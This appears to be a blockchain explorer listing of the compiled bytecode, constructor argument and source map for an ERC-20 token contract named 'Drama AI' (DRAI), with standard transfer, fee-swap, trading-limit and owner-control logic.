160205260409020556112af6112908484611646565b6001600160a01b038616600090815260016020526040902054906115e7565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112f98686611646565b60405190815260200160405180910390a35050505050565b600081848411156113355760405162461bcd60e51b815260040161049591906116b6565b50600061134284866119ca565b95945050505050565b60008260000361135d57506000610444565b600061136983856118e5565b90508261137685836119dd565b146113cd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610495565b9392505050565b60006113cd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611688565b600081831161142557826113cd565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611473576114736119ff565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f09190611931565b81600181518110611503576115036119ff565b6001600160a01b0392831660209182029290920101526012546115299130911684610aa0565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611562908590600090869030904290600401611a15565b600060405180830381600087803b15801561157c57600080fd5b505af1158015611590573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6005546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f193505050501580156115e3573d6000803e3d6000fd5b5050565b6000806115f4838561199e565b9050838110156113cd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610495565b60006113cd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611311565b600081836116a95760405162461bcd60e51b815260040161049591906116b6565b50600061134284866119dd565b600060208083528351808285015260005b818110156116e3578581018301518582016040015282016116c7565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107c057600080fd5b6000806040838503121561172c57600080fd5b823561173781611704565b946020939093013593505050565b60008060006060848603121561175a57600080fd5b833561176581611704565b9250602084013561177581611704565b929592945050506040919091013590565b60006020828403121561179857600080fd5b81356113cd81611704565b600080604083850312156117b657600080fd5b82356117c181611704565b915060208301356117d181611704565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561182d578160001904821115611813576118136117dc565b8085161561182057918102915b93841c93908002906117f7565b509250929050565b60008261184457506001610444565b8161185157506000610444565b816001811461186757600281146118715761188d565b6001915050610444565b60ff841115611882576118826117dc565b50506001821b610444565b5060208310610133831016604e8410600b84101617156118b0575081810a610444565b6118ba83836117f2565b80600019048211156118ce576118ce6117dc565b029392505050565b60006113cd60ff841683611835565b8082028115828204841417610444576104446117dc565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561194357600080fd5b81516113cd81611704565b60008060006060848603121561196357600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561198e57600080fd5b815180151581146113cd57600080fd5b80820180821115610444576104446117dc565b6000600182016119c3576119c36117dc565b5060010190565b81810381811115610444576104446117dc565b6000826119fa57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a655784516001600160a01b031683529383019391830191600101611a40565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122083b8854df2c1050928c8a656bfe75502309c5327a6acd909eb7caa8e7928975a64736f6c6343000813003300000000000000000000000043a9b05687604c55c3385bf9e700a78a0a12dfce

Deployed Bytecode

0x6080604052600436106101395760003560e01c806370a08231116100ab57806395d89b411161006f57806395d89b411461035b578063a9059cbb14610388578063c876d0b9146103a8578063db071449146103c2578063dd62ed3e146103d8578063e3cbe3d21461041e57600080fd5b806370a08231146102c6578063715018a6146102fc5780637830b0721461031157806382247ec0146103275780638da5cb5b1461033d57600080fd5b80631c7f5609116100fd5780631c7f56091461022957806323b872dd14610240578063313ce5671461026057806349bd5a5e1461027c5780635672ca931461029c57806367c20324146102b157600080fd5b806306fdde0314610145578063095ea7b3146101885780630faee56f146101b85780631694505e146101dc57806318160ddd1461021457600080fd5b3661014057005b600080fd5b34801561015157600080fd5b506040805180820190915260088152674472616d6120414960c01b60208201525b60405161017f91906116b6565b60405180910390f35b34801561019457600080fd5b506101a86101a3366004611719565b610433565b604051901515815260200161017f565b3480156101c457600080fd5b506101ce60115481565b60405190815260200161017f565b3480156101e857600080fd5b506012546101fc906001600160a01b031681565b6040516001600160a01b03909116815260200161017f565b34801561022057600080fd5b506101ce61044a565b34801561023557600080fd5b5061023e61046b565b005b34801561024c57600080fd5b506101a861025b366004611745565b6107c3565b34801561026c57600080fd5b506040516012815260200161017f565b34801561028857600080fd5b506013546101fc906001600160a01b031681565b3480156102a857600080fd5b5061023e610827565b3480156102bd57600080fd5b5061023e6108c6565b3480156102d257600080fd5b506101ce6102e1366004611786565b6001600160a01b031660009081526001602052604090205490565b34801561030857600080fd5b5061023e610982565b34801561031d57600080fd5b506101ce600e5481565b34801561033357600080fd5b506101ce600f5481565b34801561034957600080fd5b506000546001600160a01b03166101fc565b34801561036757600080fd5b506040805180820190915260048152634452414960e01b6020820152610172565b34801561039457600080fd5b506101a86103a3366004611719565b6109f6565b3480156103b457600080fd5b506005546101a89060ff1681565b3480156103ce57600080fd5b506101ce60105481565b3480156103e457600080fd5b506101ce6103f33660046117a3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561042a57600080fd5b5061023e610a03565b6000610440338484610aa0565b5060015b92915050565b60006104586012600a6118d6565b610466906305f5e1006118e5565b905090565b6000546001600160a01b0316331461049e5760405162461bcd60e51b8152600401610495906118fc565b60405180910390fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782556104eb913091906104d890600a6118d6565b6104e6906305f5e1006118e5565b610aa0565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561053e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105629190611931565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105e89190611931565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610635573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106599190611931565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d71947306106a1816001600160a01b031660009081526001602052604090205490565b6000806106b66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561071e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610743919061194e565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561079c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c0919061197c565b50565b60006107d0848484610bc4565b61081d84336104e685604051806060016040528060288152602001611a87602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611311565b5060019392505050565b6000546001600160a01b031633146108515760405162461bcd60e51b8152600401610495906118fc565b6000471161089a5760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b6044820152606401610495565b60405133904780156108fc02916000818181858888f193505050501580156107c0573d6000803e3d6000fd5b6000546001600160a01b031633146108f05760405162461bcd60e51b8152600401610495906118fc565b6108fc6012600a6118d6565b61090a906305f5e1006118e5565b600e556109196012600a6118d6565b610927906305f5e1006118e5565b600f556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6109616012600a6118d6565b61096f906305f5e1006118e5565b60405190815260200160405180910390a1565b6000546001600160a01b031633146109ac5760405162461bcd60e51b8152600401610495906118fc565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610440338484610bc4565b6000546001600160a01b03163314610a2d5760405162461bcd60e51b8152600401610495906118fc565b601354600160a01b900460ff1615610a875760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610495565b6013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610b025760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610495565b6001600160a01b038216610b635760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610495565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c285760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610495565b6001600160a01b038216610c8a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610495565b60008111610cec5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610495565b600081610d016000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610d3057506000546001600160a01b03858116911614155b8015610d4557506001600160a01b0385163014155b156111cd576001600160a01b03851660009081526003602052604090205460ff16158015610d8c57506001600160a01b03841660009081526003602052604090205460ff16155b15610de057601354600160a01b900460ff16610de05760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610495565b60055460ff1615610e99576012546001600160a01b03858116911614801590610e1757506013546001600160a01b03858116911614155b15610e9957326000908152600460205260409020544311610e865760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610495565b3260009081526004602052604090204390555b6013546001600160a01b038681169116148015610ec457506012546001600160a01b03858116911614155b8015610ee957506001600160a01b03841660009081526003602052604090205460ff16155b15610fc757600e54831115610f365760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb6b0bc2a3c1760691b6044820152606401610495565b600f5483610f59866001600160a01b031660009081526001602052604090205490565b610f63919061199e565b1115610fb15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610495565b600d8054906000610fc1836119b1565b91905055505b610ff36064610fed600a54600d5411610fe257600654610fe6565b6008545b869061134b565b906113d4565b6013549092506001600160a01b03858116911614801561101c57506001600160a01b0385163014155b15611110576005546001600160a01b036101009091048116908616036110a0576000915061109961105d6064610fed6008548761134b90919063ffffffff16565b61109461107a6064610fed6006548961134b90919063ffffffff16565b6110946064610fed6009548a61134b90919063ffffffff16565b611416565b9050611110565b600e548311156110e85760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb6b0bc2a3c1760691b6044820152606401610495565b61110d6064610fed600b54600d541161110357600754610fe6565b600954869061134b565b91505b3060009081526001602052604081205490506000600c54600d54118015611143575061113e60105486611416565b601054145b601354909150600160a81b900460ff1615801561116d57506013546001600160a01b038781169116145b80156111825750601354600160b01b900460ff165b80156111915750600c54600d54115b801561119a5750805b156111ca576010548211156111c1576111c16111bc8661109485601154611416565b61142b565b6111ca476115a5565b50505b811561124757306000908152600160205260409020546111ed90836115e7565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061123e9086815260200190565b60405180910390a35b6001600160a01b03851660009081526001602052604090205461126a9082611646565b6001600160a01b0386166000908152600160205260409020556112af6112908484611646565b6001600160a01b038616600090815260016020526040902054906115e7565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112f98686611646565b60405190815260200160405180910390a35050505050565b600081848411156113355760405162461bcd60e51b815260040161049591906116b6565b50600061134284866119ca565b95945050505050565b60008260000361135d57506000610444565b600061136983856118e5565b90508261137685836119dd565b146113cd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610495565b9392505050565b60006113cd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611688565b600081831161142557826113cd565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611473576114736119ff565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f09190611931565b81600181518110611503576115036119ff565b6001600160a01b0392831660209182029290920101526012546115299130911684610aa0565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611562908590600090869030904290600401611a15565b600060405180830381600087803b15801561157c57600080fd5b505af1158015611590573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6005546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f193505050501580156115e3573d6000803e3d6000fd5b5050565b6000806115f4838561199e565b9050838110156113cd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610495565b60006113cd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611311565b600081836116a95760405162461bcd60e51b815260040161049591906116b6565b50600061134284866119dd565b600060208083528351808285015260005b818110156116e3578581018301518582016040015282016116c7565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107c057600080fd5b6000806040838503121561172c57600080fd5b823561173781611704565b946020939093013593505050565b60008060006060848603121561175a57600080fd5b833561176581611704565b9250602084013561177581611704565b929592945050506040919091013590565b60006020828403121561179857600080fd5b81356113cd81611704565b600080604083850312156117b657600080fd5b82356117c181611704565b915060208301356117d181611704565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561182d578160001904821115611813576118136117dc565b8085161561182057918102915b93841c93908002906117f7565b509250929050565b60008261184457506001610444565b8161185157506000610444565b816001811461186757600281146118715761188d565b6001915050610444565b60ff841115611882576118826117dc565b50506001821b610444565b5060208310610133831016604e8410600b84101617156118b0575081810a610444565b6118ba83836117f2565b80600019048211156118ce576118ce6117dc565b029392505050565b60006113cd60ff841683611835565b8082028115828204841417610444576104446117dc565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561194357600080fd5b81516113cd81611704565b60008060006060848603121561196357600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561198e57600080fd5b815180151581146113cd57600080fd5b80820180821115610444576104446117dc565b6000600182016119c3576119c36117dc565b5060010190565b81810381811115610444576104446117dc565b6000826119fa57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a655784516001600160a01b031683529383019391830191600101611a40565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122083b8854df2c1050928c8a656bfe75502309c5327a6acd909eb7caa8e7928975a64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000043a9b05687604c55c3385bf9e700a78a0a12dfce

-----Decoded View---------------
Arg [0] : _draAddress (address): 0x43A9b05687604C55c3385Bf9E700A78a0a12dFCe

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000043a9b05687604c55c3385bf9e700a78a0a12dfce


Deployed Bytecode Sourcemap

3683:8554:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5618:83;;;;;;;;;;-1:-1:-1;5688:5:0;;;;;;;;;;;;-1:-1:-1;;;5688:5:0;;;;5618:83;;;;;;;:::i;:::-;;;;;;;;9550:161;;;;;;;;;;-1:-1:-1;9550:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;9550:161:0;1023:187:1;4746:51:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4746:51:0;1215:177:1;4918:41:0;;;;;;;;;;-1:-1:-1;4918:41:0;;;;-1:-1:-1;;;;;4918:41:0;;;;;;-1:-1:-1;;;;;1587:32:1;;;1569:51;;1557:2;1542:18;4918:41:0;1397:229:1;11027:100:0;;;;;;;;;;;;;:::i;10212:581::-;;;;;;;;;;;;;:::i;:::-;;9072:313;;;;;;;;;;-1:-1:-1;9072:313:0;;;;;:::i;:::-;;:::i;11609:83::-;;;;;;;;;;-1:-1:-1;11609:83:0;;4477:2;2234:36:1;;2222:2;2207:18;11609:83:0;2092:184:1;4966:28:0;;;;;;;;;;-1:-1:-1;4966:28:0;;;;-1:-1:-1;;;;;4966:28:0;;;9721:189;;;;;;;;;;;;;:::i;10807:208::-;;;;;;;;;;;;;:::i;11478:119::-;;;;;;;;;;-1:-1:-1;11478:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;11571:18:0;11544:7;11571:18;;;:9;:18;;;;;;;11478:119;2762:148;;;;;;;;;;;;;:::i;4562:49::-;;;;;;;;;;;;;;;;4618:53;;;;;;;;;;;;;;;;2548:79;;;;;;;;;;-1:-1:-1;2586:7:0;2613:6;-1:-1:-1;;;;;2613:6:0;2548:79;;10113:87;;;;;;;;;;-1:-1:-1;10185:7:0;;;;;;;;;;;;-1:-1:-1;;;10185:7:0;;;;10113:87;;8893:167;;;;;;;;;;-1:-1:-1;8893:167:0;;;;;:::i;:::-;;:::i;4035:40::-;;;;;;;;;;-1:-1:-1;4035:40:0;;;;;;;;4678:61;;;;;;;;;;;;;;;;9399:143;;;;;;;;;;-1:-1:-1;9399:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;9507:18:0;;;9480:7;9507:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9399:143;9918:175;;;;;;;;;;;;;:::i;9550:161::-;9625:4;9642:39;383:10;9665:7;9674:6;9642:8;:39::i;:::-;-1:-1:-1;9699:4:0;9550:161;;;;;:::o;11027:100::-;11080:7;4540:13;4477:2;4540;:13;:::i;:::-;4526:27;;:11;:27;:::i;:::-;11100:19;;11027:100;:::o;10212:581::-;2675:6;;-1:-1:-1;;;;;2675:6:0;383:10;2675:22;2667:67;;;;-1:-1:-1;;;2667:67:0;;;;;;;:::i;:::-;;;;;;;;;10280:15:::1;:80:::0;;-1:-1:-1;;;;;;10280:80:0::1;10317:42;10280:80:::0;;::::1;::::0;;10371:63:::1;::::0;10388:4:::1;::::0;10317:42;4540:13:::1;::::0;:2:::1;:13;:::i;:::-;4526:27;::::0;:11:::1;:27;:::i;:::-;10371:8;:63::i;:::-;10479:15;;;;;;;;;-1:-1:-1::0;;;;;10479:15:0::1;-1:-1:-1::0;;;;;10479:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10461:55:0::1;;10525:4;10532:15;;;;;;;;;-1:-1:-1::0;;;;;10532:15:0::1;-1:-1:-1::0;;;;;10532:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10461:94;::::0;-1:-1:-1;;;;;;10461:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5669:15:1;;;10461:94:0::1;::::0;::::1;5651:34:1::0;5721:15;;5701:18;;;5694:43;5586:18;;10461:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10445:13;:110:::0;;-1:-1:-1;;;;;10445:110:0;;::::1;-1:-1:-1::0;;;;;;10445:110:0;;::::1;;::::0;;10566:15:::1;::::0;::::1;:31;10605:21;10636:4;10642:24;10636:4:::0;-1:-1:-1;;;;;11571:18:0;11544:7;11571:18;;;:9;:18;;;;;;;11478:119;10642:24:::1;10667:1;10669::::0;10671:7:::1;2586::::0;2613:6;-1:-1:-1;;;;;2613:6:0;;2548:79;10671:7:::1;10566:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10566:129:0;;;-1:-1:-1;;;;;6107:15:1;;;10566:129:0::1;::::0;::::1;6089:34:1::0;6139:18;;;6132:34;;;;6182:18;;;6175:34;;;;6225:18;;;6218:34;6289:15;;;6268:19;;;6261:44;10679:15:0::1;6321:19:1::0;;;6314:35;6023:19;;10566:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10713:13:0::1;::::0;10744:15:::1;::::0;10706:71:::1;::::0;-1:-1:-1;;;10706:71:0;;-1:-1:-1;;;;;10744:15:0;;::::1;10706:71;::::0;::::1;6845:51:1::0;-1:-1:-1;;6912:18:1;;;6905:34;10713:13:0;::::1;::::0;-1:-1:-1;10706:29:0::1;::::0;6818:18:1;;10706:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10212:581::o:0;9072:313::-;9170:4;9187:36;9197:6;9205:9;9216:6;9187:9;:36::i;:::-;9234:121;9243:6;383:10;9265:89;9303:6;9265:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9265:19:0;;;;;;:11;:19;;;;;;;;383:10;9265:33;;;;;;;;;;:37;:89::i;9234:121::-;-1:-1:-1;9373:4:0;9072:313;;;;;:::o;9721:189::-;2675:6;;-1:-1:-1;;;;;2675:6:0;383:10;2675:22;2667:67;;;;-1:-1:-1;;;2667:67:0;;;;;;;:::i;:::-;9812:1:::1;9788:21;:25;9780:60;;;::::0;-1:-1:-1;;;9780:60:0;;7434:2:1;9780:60:0::1;::::0;::::1;7416:21:1::0;7473:2;7453:18;;;7446:30;-1:-1:-1;;;7492:18:1;;;7485:52;7554:18;;9780:60:0::1;7232:346:1::0;9780:60:0::1;9851:51;::::0;9859:10:::1;::::0;9880:21:::1;9851:51:::0;::::1;;;::::0;::::1;::::0;;;9880:21;9859:10;9851:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;10807:208:::0;2675:6;;-1:-1:-1;;;;;2675:6:0;383:10;2675:22;2667:67;;;;-1:-1:-1;;;2667:67:0;;;;;;;:::i;:::-;4540:13:::1;4477:2;4540;:13;:::i;:::-;4526:27;::::0;:11:::1;:27;:::i;:::-;10865:6;:21:::0;4540:13:::1;4477:2;4540;:13;:::i;:::-;4526:27;::::0;:11:::1;:27;:::i;:::-;10897:10;:23:::0;10933:20:::1;:26:::0;;-1:-1:-1;;10933:26:0::1;::::0;;10975:32:::1;4540:13;4477:2;-1:-1:-1::0;4540:13:0::1;:::i;:::-;4526:27;::::0;:11:::1;:27;:::i;:::-;10975:32;::::0;1361:25:1;;;1349:2;1334:18;10975:32:0::1;;;;;;;10807:208::o:0;2762:148::-;2675:6;;-1:-1:-1;;;;;2675:6:0;383:10;2675:22;2667:67;;;;-1:-1:-1;;;2667:67:0;;;;;;;:::i;:::-;2869:1:::1;2853:6:::0;;2832:40:::1;::::0;-1:-1:-1;;;;;2853:6:0;;::::1;::::0;2832:40:::1;::::0;2869:1;;2832:40:::1;2900:1;2883:19:::0;;-1:-1:-1;;;;;;2883:19:0::1;::::0;;2762:148::o;8893:167::-;8971:4;8988:42;383:10;9012:9;9023:6;8988:9;:42::i;9918:175::-;2675:6;;-1:-1:-1;;;;;2675:6:0;383:10;2675:22;2667:67;;;;-1:-1:-1;;;2667:67:0;;;;;;;:::i;:::-;9989:11:::1;::::0;-1:-1:-1;;;9989:11:0;::::1;;;9988:12;9980:47;;;::::0;-1:-1:-1;;;9980:47:0;;7785:2:1;9980:47:0::1;::::0;::::1;7767:21:1::0;7824:2;7804:18;;;7797:30;7863:25;7843:18;;;7836:53;7906:18;;9980:47:0::1;7583:347:1::0;9980:47:0::1;10038:11;:18:::0;;-1:-1:-1;;;;10067:18:0;-1:-1:-1;;;10067:18:0;;;9918:175::o;11135:335::-;-1:-1:-1;;;;;11228:19:0;;11220:68;;;;-1:-1:-1;;;11220:68:0;;8137:2:1;11220:68:0;;;8119:21:1;8176:2;8156:18;;;8149:30;8215:34;8195:18;;;8188:62;-1:-1:-1;;;8266:18:1;;;8259:34;8310:19;;11220:68:0;7935:400:1;11220:68:0;-1:-1:-1;;;;;11307:21:0;;11299:68;;;;-1:-1:-1;;;11299:68:0;;8542:2:1;11299:68:0;;;8524:21:1;8581:2;8561:18;;;8554:30;8620:34;8600:18;;;8593:62;-1:-1:-1;;;8671:18:1;;;8664:32;8713:19;;11299:68:0;8340:398:1;11299:68:0;-1:-1:-1;;;;;11378:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;11430:32;;1361:25:1;;;11430:32:0;;1334:18:1;11430:32:0;;;;;;;11135:335;;;:::o;5709:2954::-;-1:-1:-1;;;;;5797:18:0;;5789:68;;;;-1:-1:-1;;;5789:68:0;;8945:2:1;5789:68:0;;;8927:21:1;8984:2;8964:18;;;8957:30;9023:34;9003:18;;;8996:62;-1:-1:-1;;;9074:18:1;;;9067:35;9119:19;;5789:68:0;8743:401:1;5789:68:0;-1:-1:-1;;;;;5876:16:0;;5868:64;;;;-1:-1:-1;;;5868:64:0;;9351:2:1;5868:64:0;;;9333:21:1;9390:2;9370:18;;;9363:30;9429:34;9409:18;;;9402:62;-1:-1:-1;;;9480:18:1;;;9473:33;9523:19;;5868:64:0;9149:399:1;5868:64:0;5960:1;5951:6;:10;5943:64;;;;-1:-1:-1;;;5943:64:0;;9755:2:1;5943:64:0;;;9737:21:1;9794:2;9774:18;;;9767:30;9833:34;9813:18;;;9806:62;-1:-1:-1;;;9884:18:1;;;9877:39;9933:19;;5943:64:0;9553:405:1;5943:64:0;6020:23;6084:6;6115:7;2586;2613:6;-1:-1:-1;;;;;2613:6:0;;2548:79;6115:7;-1:-1:-1;;;;;6107:15:0;:4;-1:-1:-1;;;;;6107:15:0;;;:32;;;;-1:-1:-1;2586:7:0;2613:6;-1:-1:-1;;;;;6126:13:0;;;2613:6;;6126:13;;6107:32;:57;;;;-1:-1:-1;;;;;;6143:21:0;;6159:4;6143:21;;6107:57;6103:2164;;;-1:-1:-1;;;;;6198:24:0;;;;;;:18;:24;;;;;;;;6197:25;:52;;;;-1:-1:-1;;;;;;6227:22:0;;;;;;:18;:22;;;;;;;;6226:23;6197:52;6193:136;;;6278:11;;-1:-1:-1;;;6278:11:0;;;;6270:43;;;;-1:-1:-1;;;6270:43:0;;10165:2:1;6270:43:0;;;10147:21:1;10204:2;10184:18;;;10177:30;-1:-1:-1;;;10223:18:1;;;10216:49;10282:18;;6270:43:0;9963:343:1;6270:43:0;6350:20;;;;6346:346;;;6409:15;;-1:-1:-1;;;;;6395:30:0;;;6409:15;;6395:30;;;;:62;;-1:-1:-1;6443:13:0;;-1:-1:-1;;;;;6429:28:0;;;6443:13;;6429:28;;6395:62;6391:286;;;6517:9;6488:39;;;;:28;:39;;;;;;6530:12;-1:-1:-1;6480:102:0;;;;-1:-1:-1;;;6480:102:0;;10513:2:1;6480:102:0;;;10495:21:1;10552:2;10532:18;;;10525:30;10591:34;10571:18;;;10564:62;-1:-1:-1;;;10642:18:1;;;10635:34;10686:19;;6480:102:0;10311:400:1;6480:102:0;6632:9;6603:39;;;;:28;:39;;;;;6645:12;6603:54;;6391:286;6720:13;;-1:-1:-1;;;;;6712:21:0;;;6720:13;;6712:21;:55;;;;-1:-1:-1;6751:15:0;;-1:-1:-1;;;;;6737:30:0;;;6751:15;;6737:30;;6712:55;:83;;;;-1:-1:-1;;;;;;6773:22:0;;;;;;:18;:22;;;;;;;;6771:24;6712:83;6708:313;;;6835:6;;6825;:16;;6817:48;;;;-1:-1:-1;;;6817:48:0;;10918:2:1;6817:48:0;;;10900:21:1;10957:2;10937:18;;;10930:30;-1:-1:-1;;;10976:18:1;;;10969:49;11035:18;;6817:48:0;10716:343:1;6817:48:0;6918:10;;6908:6;6892:13;6902:2;-1:-1:-1;;;;;11571:18:0;11544:7;11571:18;;;:9;:18;;;;;;;11478:119;6892:13;:22;;;;:::i;:::-;:36;;6884:75;;;;-1:-1:-1;;;6884:75:0;;11396:2:1;6884:75:0;;;11378:21:1;11435:2;11415:18;;;11408:30;11474:28;11454:18;;;11447:56;11520:18;;6884:75:0;11194:350:1;6884:75:0;6994:9;:11;;;:9;:11;;;:::i;:::-;;;;;;6708:313;7057:73;7126:3;7057:64;7079:15;;7069:9;;:25;7068:52;;7109:11;;7068:52;;;7096:12;;7068:52;7057:6;;:10;:64::i;:::-;:68;;:73::i;:::-;7154:13;;7039:91;;-1:-1:-1;;;;;;7148:19:0;;;7154:13;;7148:19;:43;;;;-1:-1:-1;;;;;;7171:20:0;;7186:4;7171:20;;7148: